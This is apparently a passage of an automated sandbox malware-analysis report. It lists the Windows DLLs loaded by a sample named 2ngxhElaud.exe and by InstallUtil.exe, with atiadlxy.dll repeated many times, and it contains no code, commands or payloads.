Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\2ngxhElaud.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxx.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: nvapi64.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Section loaded: atiadlxy.dll	Jump to behavior
